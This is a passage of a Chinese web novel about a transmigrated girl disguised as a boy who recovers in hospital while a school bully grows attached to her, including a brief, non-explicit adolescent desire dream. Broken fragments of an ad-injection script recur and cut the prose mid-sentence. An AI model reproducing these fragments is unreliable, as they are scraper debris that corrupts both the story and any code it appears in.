可为什么,为什么哥哥没有长成她期待中的样子,高大阳光帅气成绩好。在她还没有找到男朋友时,会像骑士一样守护着自己,让身边的小姐妹都羡慕自己有这么一个哥哥。 没满足她的期待就算了,还有点一言难尽,让她平时都不喜欢别人在她面前提及这个龙凤胎哥哥,甚至很不喜欢别人知道她有这么个哥哥。 她觉得这个哥哥很拿不出手,带出去会让她丢脸。有时她在想,要是妈妈当初只生她一个就好了,当然这些想法她都隐藏得很好。 收起思绪,白宝珠指了指桌上的东西,“哥,早上谁来过,还带了这么多东西?” 白幺幺随着她的动作看过去,“霍……霍毅他们来过,不过没一会儿就走了。” “这样啊!” 白宝珠失望的低了低头,并没有注意到白幺幺不再是称呼霍毅为霍少,而是直接说名字。 “那他们有说下午还来吗?”白宝珠心中仍抱着小小的期待,她以为会下午才过来的,要知道霍毅他们早上会过来,她怎么也要继续留下。 白幺幺摇头,“不知道,不过早上才来过,下午应该不会来了吧。” “这样啊。” 想到早上错过了,白宝珠咬咬牙,决定下午就守在病房里。 等着女主伺候她不现实,还是自己动手丰衣足食。 看到她的动作,白宝珠想帮忙,白幺幺忙制止,“妹妹,我自己来就行。” 听她这么说,白宝珠也没坚持,重新坐回椅子上。 白幺幺吃饭细嚼慢咽的,食物味道很好,她也吃得很享受。 吃完,去了趟卫生间,回来的时候发现病房靠窗下面的沙发上放着一个书包,不用猜应该就是原主的。 略微迟疑了下,白幺幺走过去坐在沙发上,她拉开书包拉链,里面满满当当的书以及一个笔袋。 原主成绩很好,一直是年级前五,她不是天赋型,能取得这么好的成绩全靠勤奋。 刚吃饱,人又没犯困,白幺幺肯定不能躺床继续睡觉。 身上的伤,没伤及要害,就是血流了不少,人也遭受下皮肉之痛,没必要住太久的院。 白幺幺心里已经有了打算,想看看明天能不能出院,她想去上学了。 原主可是有个心愿,想找到一个爱她如命,危险来临时能毫不犹豫挡在她面前的另一半。 她不得赶紧出院,好好找。 原主现在读高一,感情刚好从小培养,校服到婚纱多浪漫。 也不知道是不是早上睡多了,白幺幺看书做题时并没有犯困。 时间慢慢流逝,也不知道过了多久,敲门声响起。 白幺幺沉浸在学习中并没有听到,白宝珠在玩手机,想着会不会是……她忙收起手机,也没喊进,而是起身亲自过去开门。 “叔叔,阿姨,你们是?” 白宝珠紧张得心脏都快跳出嗓子眼了,面上却表现的得体大方。 门外来的虽不是自己心心念念的人,但来人的身份也让她惊喜万分。 霍母笑着做了下简单介绍,白宝珠忙将人迎进来,然后开始端茶送水。 大人和小孩子,能有什么好聊的。 霍母对白幺幺表示了下关心,同时真诚的和她道谢,谢谢她救了自己儿子。 霍父不是个健谈的,全程都是霍母拉着白幺幺的手在说,霍父过来就是坐镇的,传达一种态度。 白宝珠很想和霍父霍母聊天,拉近关系,可就是找不到合适的机会。 上赶着不是买卖,这个道理小姑娘还是懂的。 来日方长,其他做不来,先给人留个好印象总可以。 所以全程,白宝珠就是见缝插针的关心白幺幺,对待两人礼貌有之,却不会刻意去讨好,树立了不卑不亢、乖巧文静的形象。 送走霍父霍母,白宝珠内心激动的想尖叫。 她难得朝白幺幺露出了个灿烂的笑,“哥,霍叔叔,霍阿姨人瞧着好亲切啊,脾气也很好,霍毅真幸福,能有这样的爸妈,以后谁嫁给他,婆媳关系肯定能处得很好。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 白幺幺:……妹啊!你才几岁,现在想这些是不是有点远了。 白幺幺勉强挤出一丝笑意,点头表示赞同。 没见到想见的,却见到想见之人的父母,白宝珠目的算达成一半,继续待着有点无聊,便说有事回去了。 晚上是白母送饭过来的。 不知道是出于真心还是做样子,白母提出要留下来陪床,不过被白幺幺劝回去了。 医院有护工,住的又是病房,有什么事按铃就行,医生护士那是随叫随到。 本以为她只要坚持,明天就能顺利出院。 没想到霍毅交代医院了,要她多住几天。 而每天下午,霍毅他们四人就来病房准时报道,应该是霍母在霍毅他们面前夸她了,大概意思就是都受伤住院了,还不忘学习这类的。 所以每天过来时,四人中学习最好,常年年级第一的李明义都会给他带当天上课的笔记,还是他亲自整理的。 最让白幺幺开心都是,每天饭后水果都是她爱吃的草莓,也是霍毅他们带来的。 反正头几次,她总是要表现出不是很喜欢吃,可因为是他们的好意,又不想浪费,然后很勉强的将东西吃完。 每次她都要在心里嘀咕,做人真难啊,幸亏有香甜的草莓抚慰她的心。 今天从病房离开,回去的路上。 辰东先是啧啧两声,然后颇为嫌弃道:“真是的,你们说,哪个男孩子像他那样扭扭捏捏的,明明喜欢吃草莓,非要表现出不爱吃的样子。” 李明义笑了笑,“男孩子的心思你少猜,不过相处下来,还觉得挺可爱的。” 张泽凯赞同的点头,“心思单纯,好懂,相处起来很轻松,哥,你觉呢?” 霍毅停顿了下脚步,“你们几个很闲吗?明天我自己来医院,你们几个该干嘛干嘛去。” 其他两人还没发表抗议,辰东先不干了,“哥,我明天要是不去,那小子明天没草莓吃,肯定失望的耷拉下脑袋,一副强颜欢笑模样。” 霍毅:……他像是缺买草莓钱的人吗? 第37章 校霸和他的女扮男装小跟班(11) 或许是出于放长线钓大鱼的小心思,白家父母和白宝珠很有默契的下午都没来医院,把空间留给白幺幺和霍毅他们四人。 白幺幺觉得白宝珠挺聪明的,与其一直上赶着往前凑,不仅可能适得其反惹人厌烦,还显得掉价。 曲线救国不失为一个好办法,让哥哥和他们真正打好关系,称兄道弟,作为哥哥唯一的妹妹这层身份,不就更容易近水楼台先得月。 而白宝珠应该有和白家父母说什么,不然不会都那么默契的,除了早上让家里保姆送饭过来,中午白父白母谁有空就亲自送过来,并对她表示下关心。至于晚饭,十分心安理得的让她吃着霍毅他们带过来的饭。 涉及口腹之欲,白幺幺挺满意他们这样的操作,霍毅他们带来的晚饭是霍母亲自安排并盯着厨房做的,霍家的厨师据说祖上当过御厨,还不是打杂的那种,是很牛逼的御厨总管,做得出来东西好吃得不得了。 每天中午午睡醒来后,白幺幺就沉浸在学习中,可一旦到了五点左右,心不受控的开始蠢蠢欲动,静不下来,眼睛总要时不时往门口看看。 白幺幺绝不承认这是她,都是原主的吃货属性在作怪。 两手提的都是吃的,让他先将东西放地上,霍毅嫌脏。 没有手敲门,他只能用足够门内听到声音喊人过来开门。 “开门。” 刚好抬头看门板的白幺幺:……好像听到霍毅的声音了? 带着疑惑的表情,她下床去开门。 还真是,不过,咦,怎么只有霍毅一人? 等霍毅拿着东西进来,白幺幺不确定的探出脑袋在外面走廊上搜寻了一番,“哥,辰东他们还没上来吗?” 相处有几天了,白幺幺说话依旧是细声细气的,不过人似乎胆子稍稍大了些,和几人相处得也越来越自然。 “他们今天有事。” 霍毅面无表情的扯谎,明明是他的人,可有那几个人在,连续几天他都没能和人说上几句话。 “哦。” 白幺幺没想太多,更不会因为那三人没来,而产生什么莫名其妙的情绪,比如失落。 “门关上,过来吃饭。” 一回生,二回熟,霍毅动作娴熟的把饭菜摆在白幺幺吃饭的小桌子上。 原本这种小事,白幺幺哪里好意思让旁人帮忙,就是白母她都不好意思麻烦。不过霍毅他们不一样,想做什么是不会被人轻易改变的,不像白家人,只要她稍微推拒下,她们也就顺着台阶放下手中活儿。 头几次白幺幺还内心忐忑,一副受宠若惊的享受霍毅他们四人的服务,次数多了,她开始接受良好。 食物的香味让她将没来的那三人抛之脑后,轻轻关上门,往回走的脚步都轻快不少。 看到全是新菜色,白幺幺深吸口食物香气,幸福的眯了眯眼,活像只偷腥的猫,很快反应过来自己做什么,忙低了低头,偷偷用眼角余光瞅下霍毅在干嘛,刚刚有没有被他看到。 看到霍毅正拿着手机打字,白幺幺暗暗松了口气。 白母有给原主请过礼仪老师,还亲自给原主上过课,是关于一些小动作,微表情的,一切都是为了不让她身份暴露。 可原主真不是个好学生,或许更准确的说,原主完全没有演戏天赋,她学不会白母教的,白母则越教越上火,觉得原主就是个扶不起的阿斗,最后白母放弃了。 直接放任原主,不再试图改变原主的性格,她觉得这样也好,降低存在感一样能降低秘密被发现的风险。 没有个优秀的儿子来满足她的虚荣心,没事,她还有个优秀的女儿。 白幺幺是懂原主的,她活不成被人期待的样子,她要的也很简单,不明白她都能坦然接受自己的所有不完美,为什么别人不能接受,那种不能做自己的压抑很窒息。 白幺幺照例象征性的问下,“哥,你晚饭吃了吗?” 白幺幺很喜欢这个世界,一来就是学生身份,可以好好学习天天向上,还抱上了粗壮的金大腿,从 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 此过上吃香喝辣的美好生活,顺便抽空做下任务。 霍毅鬼使神差的说:“还没。” 之前,考虑到白幺幺会不自在,他们都是吃了再过来的,今天也一样,他已经吃晚饭了。 白幺幺:“???” 她第一时间低眼觑了眼小桌子上的饭菜,量……她少吃点,应该勉强够两人吃吧! 护食是被白幺幺刻进骨子里的。 想从她碗里抢食,就算是金大腿也……只能给出这么多,不能再多了。 要不是还记得自己在做任务,白幺幺一定让男主自己去医院食堂或者外面餐馆解决下吧。 脑中将男主拉出来碎碎念念,手上已经端着自己挑拣出来的另一份饭,“那,哥快过来一起吃。” 白幺幺还是很小心机的把自己爱吃的菜多留了些,不喜欢也不讨厌吃的才多分出去些,而讨厌吃的一些配菜,也被她不显刻意的扒拉到给霍毅的那份里。 霍毅是谁,一点没有骑虎难下的尴尬,在白幺幺的“盛情邀约”下,来到她对面坐下。 他不担心饭够不够吃,因为今天出门,他妈还 给准备了餐后甜点,让一起带过来,草莓味的。 辰东那个大嘴巴,每天都把来医院里发生的事绘声绘色描述给他妈听,所以,某人爱吃草莓的事,他妈也知道了。 两人不是第一次一起吃饭,却是第一次面对面吃饭。 白幺幺吃饭一小口一小口的,慢慢咀嚼,配上自以为隐藏很好的享受小表情,十分的赏心悦目。 如果说白幺幺吃饭过程是对食物膜拜,那霍毅吃饭过程就是对食物的亵渎。 端起碗胡乱往嘴里扒拉一通,也不知道尝到味没,没嚼几口就咽下肚,分钟就吃完了。 白幺幺承认,她抠抠搜搜的,两边份量肯定是她自己的这边多,毕竟又没拿称过来,她就是随便分下,有多有少不是很正常。 可是,按照她给霍毅的份量,那也不是分钟就能吃完的。 第38章 校霸和他的女扮男装小跟班(12) “哥,你吃饭都这么快吗?好厉害呀!” 小跟班翻身了,升级做男主的小迷弟,星星眼里满是骄傲和羡慕。 当然,白幺幺真实内心是疯狂的吐槽,男主也太不讲究了,就这牛嚼牡丹的吃法,好东西都给糟蹋了。 人生无非就是吃喝拉撒睡,嗯,她在上一个世界第二喜欢的一句话,看看,吃就排第一位,人生的乐趣啊! 霍毅身体微不可察的僵了下,一股热意从胸腔升腾而起。 “咳。” 他轻咳了下,不以为意道:“都是在部队训练出来的,下次你也跟着一起去部队,多去几次,你就能和我一样吃这么快了。” 白幺幺:“?!!” 男主,你是魔鬼吗? 去部队她很心动,毕竟还没去过。 可是,和他吃一样快,那她的人生乐趣不就少了一大半。 “真的?哥,我行吗?我也能一起去吗?” 白幺幺激动的停下夹菜的动作,看着霍毅的眼神,就像小狗狗看到肉骨头那般稀罕,一时都忘了要如何表达高兴之情。 霍毅不轻不重的“嗯”了声,用眼神示意她先吃饭。 把人带去部队练练,这个想法他前天就有了。 如果那天,眼前人有一定身手的话,或许就不会受伤。 白幺幺听话的继续埋头干饭,心里已经开始憧憬着部队生活了。 有句话怎么说来着,当兵后悔两年,不当兵后悔一辈子,白幺幺的情况就算想去报名服兵役,体检那关就过不了。 而跟着男主去部队历练,那就不需要体检,而且到了部队,有男主罩着,也不容易掉马甲。 吃完饭,想到去部队的事,在霍毅要动手前,白幺幺殷勤的自己收拾起来。 “哥,你坐着休息,我已经好得差不多了,这些小事我自己来。” 要是男主没在,白幺幺都想哼首歌了,那种曲调高亢嘹亮的军歌。 想着人醒来后除了吃饭就是在学习,适当做点其他事也好,霍毅便真的坐着没动,静静的看着白幺幺收拾。 见收拾的差不多后,他才说:“今天家里厨师做了几款甜品,我妈让带了些过来给你尝尝,在那边,你自己拿。” 刚把垃圾扔进垃圾桶,准备去卫生间洗手的白幺幺:“……” 哥,我滴亲哥! 有甜品怎么不早说,那她当时就慷慨些多分点给他了,自己则少吃点饭,留肚子吃甜品。 “好的,哥,你帮我谢谢阿姨。” 白幺幺走过去打开盒子,发现有布丁,千层蛋糕,马卡龙,小小一份,很精致,关键还都是粉粉的草莓口味,她的心头好。 心里再喜欢,面上也没表现出来。 “哥,你吃吗?” 白幺幺拿着马卡龙问道,三样里面,马卡龙她觉得太甜,必须舍掉一样的话,那肯定是它了。 不怪她又起小心机了,毕竟某人可是有前科的。 等下她拿其他两样问男主要不要吃,对方真给她接过去了,她找谁哭去。 视线从白幺幺手上掠过,霍毅难得轻皱了下眉,“你自己吃。” 而后又补充了句,“我不爱吃甜的。” 这种时候,白幺幺当然要和男主统一战线,一个证明她就是男孩子的机会,怎么能错过。 “我也一样,男孩子一般都不喜欢吃甜的。” “嗯。”霍毅赞同的点头,他很贴心的给找了个台阶下:“我妈准备的时候的确欠考虑了,你不喜欢吃别勉强。” 白幺幺:“……” 男主,你说的是人话吗? 白幺幺将视线从草莓千层蛋糕上收回,抿了抿唇,小声道:“哥,阿姨都准备了,不吃不就辜负了阿姨的心意,而且我,我也不是很讨厌吃这些。” 霍毅不是会和人纠结这种事的人,“嗯,你吃吃看,吃不惯就放着。” 接下来就是白幺幺同志的表演时间了。 一口草莓千层蛋糕入口,她满足得想哼哼唧唧,可是面上却要表现出一副吃了不好吃东西的表情。 而且这表情还要控制一个度,不能太夸张了,要是看起像在吃啥黑暗料理,男主看不下去,勒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 令她不要吃了咋办。 由于吃得投入,表演的更投入,白幺幺并没有发现她此时正成为别人眼中的一道风景。 男孩子应不应该爱吃甜食,霍毅不知道,他也不会无聊去关注这种问题。 当然如果问他关于这个问题的看法,他会说一个人喜好什么口味和性别无关。 真是爱口是心非! 霍毅嘴角勾起一个浅浅的弧度,眼里多了抹连他都没察觉的宠溺。 在医院肯定不比家里,没啥好玩的。 饭吃了,甜品也吃了,白幺幺觉得今天天气很好,她心情也好,十分适合出去放风。 “哥,我们到楼下走走吧,住院这么多天,我还没出过病房了。” “行,走吧。” 霍毅率先走过去开门,然后站门口回头道:“去加件外套。” 不用男主说,白幺幺也会在穿件外套的。 因为后背的伤口,在医院的这段时间 ,她根本没办法绑束胸带。 也幸好白母让医生给她拿了加大码的病号服,平时她做事走路都是下意识含着胸,再加上也没谁会一直盯着别人的胸看,所以这段时间,她的日子过得还算安生。 现在要到户外去,到了外面,随便迎面吹来一阵风,把身上原本宽松的衣服吹得紧贴在前胸上,某两处的弧度不就被勾勒出来,一览无余了。 很满意白幺幺的乖巧听话,霍毅看似随意问道:“有想吃什么吗?明天给你带。” 霍家养孩子不奉行娇宠,特别严格,在吃上就有一点,不能有挑食的坏毛病,不会像很多家长会根据孩子喜好准备三餐。 所以每天霍母给白幺幺准备了晚餐,却从没想过问下她喜欢吃什么,然后按照她的喜好来准备。 霍母给白幺幺准备的,都是让专业营养师依据白幺幺的身体情况特意排的食谱。 而白幺幺刚好是个好吃的,还是个真正意义上不挑食的,最多就是某些她不是那么爱吃,但还是会吃的。 所以,也没人去发现这个问题,当然以原主的性格,也发现不了这个问题。 第39章 校霸和他的女扮男装小跟班(13) 白幺幺脑中已经闪过十几道菜名,内心蠢蠢欲动,却还要让自己的嘴暂时摆脱大脑控制,“哥,你每天带过的我都爱吃,我不挑食的。” 风吹来,白幺幺忙拢了拢外套。 “这样啊,行。” 霍毅像是随口抛出个问题,答案什么不重要。 白幺幺:……男主这大直男! 霍毅回头看向总是习惯跟在他身后步远的少年,头发细细软软的被风吹乱了,双手紧紧拢着外套,身形是那样的单薄,埋头走着也不看路。 眉心不自觉蹙起,他沉声提醒道:“抬头看路。” 也不怕摔倒了,一点没有这个年纪的稳重,他以前怎么就没发现。 可是,也不知道是霍毅提醒晚了,还是就因为他的提醒把人惊到了。 白幺幺摔了! 问她怎么摔的,自己左脚绊右脚,你信吗? 膝盖与地面亲密接触时,白幺幺懵了,灵魂跳出身体外,一点也不想回去了。 太他妈丢人了! “艹!” 经过那事,开始往成熟稳重方向发展的霍毅同学破功了。 白幺幺摔的猝不及防,就那么一瞬间的功夫,根本没给霍毅反应的时间。 或者说,一路的平地,霍毅怎么也不会想到人真会摔倒。 他一个跨步来到白幺幺面前,伸手想要将人扶起来,“摔哪了,我看看。” “疼!” 白幺幺皱着脸委委屈屈道:“哥,先别碰我,让我缓缓。” 她刚刚是以跪地姿势摔下去的,膝盖磕地发出的声音,光听着就疼,都不用看,肯定青紫一片了。 看着地上人可怜兮兮的模样,霍毅真的是气不打一处来,胸腔有股无名火在烧。 “白承继,你十六岁,不是三岁。三岁小孩都知道走路要看,你呢?走路的时候在看哪里?” “在平地上你都能摔成这样,走路都能自己将自己绊倒,这么笨,是谁给你的勇气,走路不好好看路的。你这样走在大马路上,车来人往的,一不注意,后果有多严重你知道吗?” 白幺幺:“……” 她一开始没反应过白承继这个名字,后面反应过来了,只能仰着头,态度端正的接受霍毅同学劈头盖脸的输出,眼神表情主打一个到位,委屈,隐忍,自责,羞愧,可怜兮兮…… “你”,霍毅还想说什么,可是触及到白幺幺隐隐蒙上一层水雾的眼睛,心中的火瞬息灭了,后知后觉反应过来,自己刚刚有点情绪失控了。 “能自己起来吗?” 此时霍毅的神色有些不自然,语气也有点僵,身体却很诚实的伸出手。 看着递到面前的宽厚手掌,白幺幺咬着唇迟疑了一瞬,慢慢抬起自己的右手就要附上去。 夜色中,借着昏暗的灯光,白嫩掌心的一抹红被霍毅眼尖捕捉到了,他反手一把抓住那只手,“手磕破皮流血了怎么不早说,另一只手伸出来我看看,是不是也磕破皮流血了。” 白幺幺想抽回手,可是她不敢,还要继续把另外一只手也奉上。 “哥,你,你别生气,是男人就要受点伤流点血才算爷们,我是男人,这点小磕碰不算什么的。” 白幺幺越说声音越小,原本坚定发亮的眼神渐渐染上了其他颜色,千言万语化作一句,“哥,你是不是生气了,你别生气好不好。” 也别赶我走! 后面一句没有说出来的,是原主心中除了女扮男装秘密被发现外,第二害怕的事。 还知道怕他生气,霍毅神色缓和不少,“现在能自己站起来了吗?” “应该能了。” 白幺幺开始试着站起来,这回真的是摔狠了,一牵扯到膝盖,就痛得她想倒抽气,可都被她生生忍住了,没办法原主这具身体太娇弱了。 霍毅在旁边看得直皱眉,想着让人痛下,记住这次的痛,看之后走路还敢三心二意不看路。 可忍了又忍,最终他先看不下去,俯身将人抱了起来。 好轻! 霍毅压下想要将人颠一颠的冲动。 长这么大,霍毅是第二次 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 抱人,抱的还是同一个人。 第一次,那样的情况下,他害怕心慌,脑袋一片空白,根本注意不到其他。 才过去几天,第二次抱起这人,心境不一样,注意力全被怀中轻飘飘的重量吸引去。 瞧着瘦瘦弱弱的,真抱起来,才能真正体会这四个字的重量。 看来之后要多盯着人吃饭,把肉养起来。 被人不打招呼就抱起来,白幺幺低低惊呼了一声,手下意识扯住对方的衣服。 等意识到自己已经在霍毅怀中后,她小小挣扎着要下来,“哥,你,你放我下来,我自己能走的。” 白幺幺内心在尖叫:脚疼,手疼,膝盖疼,自己走啥走,有免费的人形移动座椅,傻子才下来自己走。 “别乱动,待会又摔了。” 要不是空不出手,霍毅真想给怀中乱动的人屁股来一下,实在太不乖了。 后知后觉反应过来自己生出了什么样一个想法,霍毅神色蓦地一僵。 似是察觉到他情绪变化,白 幺幺安分的窝在少年怀中,不敢动了。 还别说,别看男主才十六岁,却已经能给人十足的安全感,难怪原主说什么都要粘上。 一路上,两人心思各异,相对无言。 回到病房,霍毅让医生过来给白幺幺处理伤口。 处理掌心的伤口时还好,简单清洗下伤口,涂抹下药水,在霍毅的要求下,医生给缠上了层纱布。 反正在白幺幺看来,那纱布有些多余,不过在这事上,她可没有发言权。 处理完手上的伤,医生开始给她处理脚上的。 旁边有个“虎视眈眈”的大少爷,医生在给白幺幺卷起裤腿时,动作简直不要太温柔。 又长又直又细又白的小腿慢慢暴露在空气中,上面腿毛稀疏,细细软软的,不凑近看,都很容易被忽视掉。 医生下意识抬头去看白幺幺的喉结处,看到那地方有点平,心中有了决断,想着等下要不要多嘴建议这孩子去做下性激素及促性腺激素相关检查。 第40章 校霸和他的女扮男装小跟班(14) 医生就这么分神没一会儿的功夫,手下动作一个没注意,手指不轻不重给白幺幺膝盖戳了一下。 应该是职业原因,医生的指甲修剪的很短很干净,那一下也不重,没啥杀伤力的。 可关键是,白幺幺的膝盖红肿青紫一大片,她皮肤本就白,衬得越发恐怖。 还有这具身体娇气得很,白幺幺已经极力忍痛了,可医生那一下是在白幺幺毫无防备情况下突袭的,轻“嘶”了声,她身体本能的做出反应,想把脚收回。 “不知道轻点吗?起开。” 阴沉的声音在医生身侧响起,眼神若是能杀人,这个医生可能已经血溅当场了。 医生额头冒汗,忙起身将位置让给霍毅。 没有破皮出血,最好的处理方式就是冷敷。 霍毅从小就要学习散打,搏击,跆拳道等格斗项目,后面再大点一年有两三个月是泡在部队里,身上时不时要受点伤。 和久病成良医一个道理,多受几次伤,他自己处理起来越发得心应手。 要不是人就在医院,考虑到医生处理起来更加专业,他才让医生来的。 没想到医生水平就那样,还笨手笨脚把人弄痛了,早知道这样他就自己来了。 还有。 霍毅敛去眸中沉色,医生刚刚看着少年的小腿失神了,这根本逃不过他的眼。 “出去。” 既然用不到人呢,肯定不能把人继续留在病房里碍眼,还有他还不喜欢别人把目光落在少年那双嫩生生的小腿上。 霍毅的话那就跟圣旨般,医生还生怕出去慢了,惹得这位小少爷不快。 等医生出去,门再次关上后。 白幺幺才敢伸手小心翼翼的扯了扯霍毅的衣摆,“哥,刚刚那个医生不是故意的,你别生气。” 而被她提到的医生,出了病房就想起自己的猜测,迟疑了下,还是决定多一事不如少一事。 有钱人,比如谁都重视身体健康,正常每年都会安排体检,有那样问题,不可能没发现。 霍毅挑眉,“你在帮那个医生说话?看不惯我对医生乱发脾气?” 白幺幺:“???” 少年你怎么了?怎么就突然吃炸药了! “没,哥,我没有。” 白幺幺忙着急解释,“我,我就是看你生气了,不想你生气。” 霍毅没说话,转身开门离开。 白幺幺:“……” 靠! 这小破孩,气性那么大,就这么走了。 莫名其妙!! 不靠谱,简直太不靠谱。 之前啥安全感的,错觉,全是错觉。 哼,把医生赶走了,自己也走了,谁来给她处理膝盖的红肿淤青。 委屈袭遍全身,白幺幺肯定是不想哭的,可是身体不受她控制,眼泪吧嗒吧嗒的往下掉。 不曾拥有过的,不会害怕失去。 可当溺水的人好不容易抓到一根浮木,如果没了这浮木,不就跟没了命似的。 霍毅已经用最快的速度,拿了冰袋就马上回来,满打满算离开不到三分钟。 没成想开门会看到让他心脏蓦地一痛的一幕,顾不得去深究自己为什么会有如此情绪波动。 他快步来到白幺幺面前,语气又轻又柔,急切中带着关心“怎么哭了,是不是很痛,没事的,我拿冰袋过来了,现在马上给你冷敷。” “呜…呜呜……” 白幺幺一把扑进眼前人的怀中,双手环住少年腰,哭得像个孩子。 本来也就是十六岁的孩子,白幺幺的到来,也不过是代替这个孩子以另一种方式活着,而真正的原主生命已经终结在十六岁。 与其说白幺幺在哭泣,不如说这具身体在哭泣。 第一次不用等到所有人都睡了,躲在被子里哭。 第一次可以这样光明正大,还能抱着她最依赖的人哭。 “哥,呜呜……呜呜……嗝……我以为你不要我了。” “没,没有不要你,我是出去拿冰袋。” 被人这样抱着,霍毅是第一次。 被人这样抱着哭,霍毅是第一次。 家里这一辈就他一个孩子,和圈子里的兄弟玩,他也是被 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 捧着的,没谁敢在他面前这样。 胸前的衣服被眼泪湿润,滚烫的热度穿过薄薄的布料直击他的皮肤,刺激的他身体轻微颤栗。 从来没哄过人,他只能无措的抬手想给小孩拍背,即将触碰到时,他才想起后背不能拍,一时也不知道自己能做什么了。 哭是一件很累人的事,白幺幺并没有哭很久。 不哭了,羞意随即扑面而来,脸颊不知道是刚刚哭红的,还是羞红的,深埋在少年怀中,一时都不好意思起开。 察觉到怀中人不哭了,霍毅绷紧的身体才稍稍放松,“乖 ,先放开我,让我先帮你的膝盖做冷敷。” “嗯。”白幺幺声音闷闷的,还带着未散的哭腔。 人退开后,霍毅目光不经意扫过自己胸前,湿了一大片,这是流了多少眼泪。 打记事起,霍毅受的就是男儿流血不流泪的教育。 他先去倒了杯 温水过来,“拿着。” 白幺幺还处在难为情中,低着眼接过水,根本不敢去与霍毅对视,“谢谢。” 等白幺幺开始一小口一小口抿着水,霍毅才蹲下身去,开始给她的膝盖做冷敷。 怕冰袋太冰太硬,霍毅并没有忘了在冰袋外面裹着块柔软的干毛巾。 慢慢的喝完一杯水,白幺幺打了个哈欠,困意如潮水涌来。 专心给她冷敷,还不忘分一分心神看她表情,生怕自己动作重了,又将人弄痛。 “困了?” 霍毅提议道:“你去床上侧躺着,你睡你的,我继续给你冷敷。” “嗯。” 哭过的眼睛又酸又胀,勉勉强强睁开一条缝,脑子已经开始休眠了。 被困意支配,白幺幺连思考都没有,就听话的去床上躺下,彻底合上眼睛秒睡。 霍毅被她乖巧听话的模样萌到了,以前他不懂这个词。 似乎有个弟弟,感觉也不错。 手痒痒的,霍毅顺从本心,走过去轻轻揉了揉小孩的头。 霍毅什么时候离开的,白幺幺不知道,她一觉到天亮,醒来病房里就她一个人了。 第41章 校霸和他的女扮男装小跟班(15) 教室里,早读课下课后。 “哥,你这脸色瞧着,昨晚没休息好?” 张泽凯把脑袋凑过来,关心的问。 他的声音不小,坐他前面的辰东,也忙转过头来对着霍毅的脸仔细看了一圈。 “啧啧,哥,你这脸色,阿凯没说,我都没注意到,昨晚做噩梦了吗?” 辰东脸上八卦之色简直不要太明显,脑中甚至想起了啥颜色废料,表情慢慢贱兮兮起来。 他贴近霍毅的耳边,“哥,虽然你长得得着急了点,但是,咱们毕竟还小,那种事还是要节制点的。” 霍毅心里咯噔一下,像是被踩了尾巴的猫,差点就要炸毛,幸亏他忍住了,面上半点没显露出真实情绪。 “一边去,别烦我。” 他冷着脸,一人给了一记眼刀子。 两兄弟说的没错,他昨晚的确没休息好,也真做噩梦了…… 昨晚帮小孩冷敷完,他起身准备回去,不经意扫过小孩的脸。 想到那张脸刚刚哭过,也没擦擦,脏死了。 他转身去卫生间拧了块湿毛巾出来,怕把人吵醒,他擦得小心翼翼,跟在对待啥易碎品似的。 向来都是别人伺候他的大少爷,给人擦起脸来,不至于笨手笨脚。 只是擦着擦着,霍毅的动作变了,竟然开始描摹起小孩的眉眼、鼻子、嘴唇…… 这个长得比女孩子还好看的小孩,就是他以后要护着的弟弟了。 明明和他们同龄,也就小他几个月,可是无论怎么瞧着,都还跟小孩似的,像是小他四五六岁的。 也不知道白家怎么养的,肯定养得不够尽心吧! 没事,这小孩以后就他来养吧! 回去后,一切都还好好的。 可是夜深人静时,他陷入了一场名为谷欠的梦中。 青春期第一次冲动,霍毅通过相关书籍了解了这方面知识后,便兴趣缺缺,青春期的他对那档子事并不太热衷,平时连自渎都很少。 梦中,他控制不住的想对怀中人做更过分的事,却不得章法。 他很着急,应该是把人的手腕抓疼了,委委屈屈的转头瞪他。 “哥,你抓疼了!快放手!!” 也就是这时,他才看清怀中人的脸。 而怀中人的那声哥,无异于一颗雷在他脑中炸开,旖旎的梦境瞬间碎裂。 霍毅猛地从床上坐起来,重重呼出一口浊气,黑暗中的眸中似乎还有未消退的复杂情绪,晦暗不明。 一米八几的大高个,冷硬坚毅的五官,线条分明的俊逸脸庞,一点不像这个年纪的。 除了梦中窥见怀中人脸那一瞬的惊诧,霍毅此时已经恢复平静,只是人已经没了困意。 看下了下时间,四点多。 他就这样在床上坐到五点多,没人知道这将近一个小时,他是放空思绪,还是在想什么。 五点多,他像往常一般,起床洗漱,然后晨跑锻炼身体。 因四个人的关系,让学校将人给安排在一个班级,不然按照辰东和张泽凯的成绩走正常程序是进不了这个班的。 霍毅和张泽凯同桌,辰东和李明义同桌,他们坐在霍毅的前桌。 这时李明义回到教室,他早读课的时候被班主任叫去谈事情。 他并不知道兄弟几个刚刚的小插曲,视线像是不经意的扫过靠近讲台第二排的一个空座位。 李明义看着霍毅说,“白承继是定好明天出院吧,刚好明天周六,我们几个一起过去,我刚好代表下班级。” 班上同学出那么大的事,学校领导和班主任当天去过一次医院,后面就没去了。 李明义是班长,班主任知道白承继受伤的内情,也知道霍毅他们每天都有去医院,李明义更是每天上课做好笔记带过去。 他便没再组织学生去医院看望,不过听说自己这个学生差不多要出院了,这不一早上喊来李明义一起讨论白承继同学出院那天,要不再组织去趟医院的事。 除了昨天,他们每天下午都去医院打卡,出院那天又怎么可能缺席。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 只不过多了班主任和其他几个同学,李明义想想心中就多了些许抗拒。 别看他成绩好,是班长,平时对谁都春风和煦的模样,其实那不过是他的伪装罢了。 物以类聚人以群分,他能和霍毅三人成为兄弟,内里必然是一样的。 表象不过是一个人在某个环境和群体中,特意展示出来的。 作为老师最喜欢的得意门生,李明义稍微一忽悠,最后拍板下来,就是他和霍毅他们四人代表班级去下医院就行。 李明义这么一提,霍毅想起小孩膝盖上的那片恐怖青紫,昨晚冷敷了,今天过去还要给热敷下。 迟迟没得到回应,李明义伸手在霍毅面前晃了晃。 “哥,在想什么?” 